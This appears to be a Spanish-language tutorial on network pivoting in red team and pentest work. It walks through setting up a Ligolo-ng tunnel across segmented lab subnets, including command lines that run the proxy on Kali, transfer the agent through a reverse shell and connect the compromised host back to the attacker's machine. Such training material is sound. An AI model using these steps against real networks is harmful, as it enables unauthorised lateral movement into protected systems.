Pivoting en Red Team: Acceso a redes segmentadas
En entornos reales de red, los equipos Red Team a menudo se enfrentan a infraestructuras segmentadas o aisladas que impiden un acceso directo a los activos críticos. Aquí es donde entra en juego una técnica fundamental: el pivoti#ng.
¿Qué es el Pivoting?
El pivoting (o pivoteo) es una técnica utilizada en operaciones de Red Team o pentesting para moverse lateralmente dentro de una red comprometida. Una vez que se compromete un sistema (el primer “pivot”), se aprovecha ese acceso para enrutar tráfico a través de él y alcanzar otras máquinas que, de otro modo, serían inaccesibles directamente desde el host atacante.
Se trata, en esencia, de utilizar un host intermedio como “puente” para alcanzar subredes internas restringidas. Puede implementarse mediante túneles, interfaces virtuales, técnicas de port forwarding o VPNs inversas.
Tipos de Pivoting
- Port Forwarding: redirige puertos locales/remotos a través del host comprometido.
- Tunneling / Proxying: crea túneles completos (TCP o SOCKS) para enrutar tráfico arbitrario.
- VPN Pivoting: monta una interfaz de red virtual (tun/tap) que permite al atacante comportarse como si estuviera en la red interna.
Herramientas Comunes para Pivoting:
Ligolo-ng: Crea una VPN inversa con tun/tap, muy sigilosa y versátil. Ideal para pivoting profundo.
Chisel: Útil para crear túneles TCP unidireccionales y SOCKS proxies.
Metasploit: Soporta múltiples tipos de pivoting en sesiones de Meterpreter.
Ejemplo Real: Pivoting en Cadena con Ligolo
La siguiente imagen muestra una situación real utilizada en un WriteUP, donde el atacante debe realizar cinco saltos para alcanzar una máquina final (host 6), empezando desde su máquina Kali. En cada salto se ha utilizado Ligolo-ng con interfaz tun/tap para crear rutas entre subredes internas:

Proceso resumido:
- Primer salto: desde Kali (192.168.1.161) a 192.168.1.162 con
route add 10.10.10.0/24
. - Segundo salto: acceso al host 10.10.10.2 (Ligolo2), nueva ruta hacia 20.20.20.0/24.
- Y así sucesivamente hasta alcanzar 50.50.50.3 (host 6) a través de Ligolo5.
A lo largo del camino, también se emplea port forwarding con Ligolo para redirigir puertos como el 8080 (servicio web) y 11601/6969 para control de sesión, permitiendo incluso doble pivoting y acceso a servicios internos como si estuvieran en la red local del atacante.
En el siguiente ejemplo vamos a configurar ligolo para establecer un tunel desde nuestra máquina kali hacía la red 10.10.10.0/24
Primero nos descargamos los binarios (proxy y agent) de la página de github
Una vez que tengamos los archivos descomprimidos en nuestra máquina kali procederemos a crear un nuevo interfaz de red en modo tunel. Le llamaremos ligolo1 ya que vamos a necesitar crear otros tuneles a posterior más vale tenerlo numerados para seguir un orden.
sudo ip tuntap add user $USER mode tun ligolo1
Y lo levantamos
sudo ip link set ligolo1 up
Ahora necesitamos agregar a nuestra tabla de enrutamiento el segmento de red al que necesitamos llegar que es la 10.10.10.0/24
sudo ip route add 10.10.10.0/24 dev ligolo1
Ahora nos damos permisos a nuestro archivo proxy, que hará de servidor desde nuestra máquina kali
chmod +x proxy
y ejecutamos el proxy como sudo
sudo ./proxy -selfcert
Ahora nos levantamos un servidor http en nuestra máquina kali en la carpeta en la que tengamos el archivo agent
Y nos vamos a la sesión de la máquina intermedia en la que tenemos nuestra revershell para transferir el archivo

Una vez que lo tengamos descargado nos damos permisos de ejecución
chmod +x agent
Y conectamos la máquina a nuestra máquina kali indicando la ip y el puerto que nos ha indicado ligolo
./agent -connect 192.168.1.25:11601 -ignore-cert
Ahora lo que tenemos que hacer es elegir la sesion y arrancar la aplicación para establecer el tunel.

Y comprobamos que ya tenemos ping

Tendremos que repetir este proceso para procesar los siguientes saltos.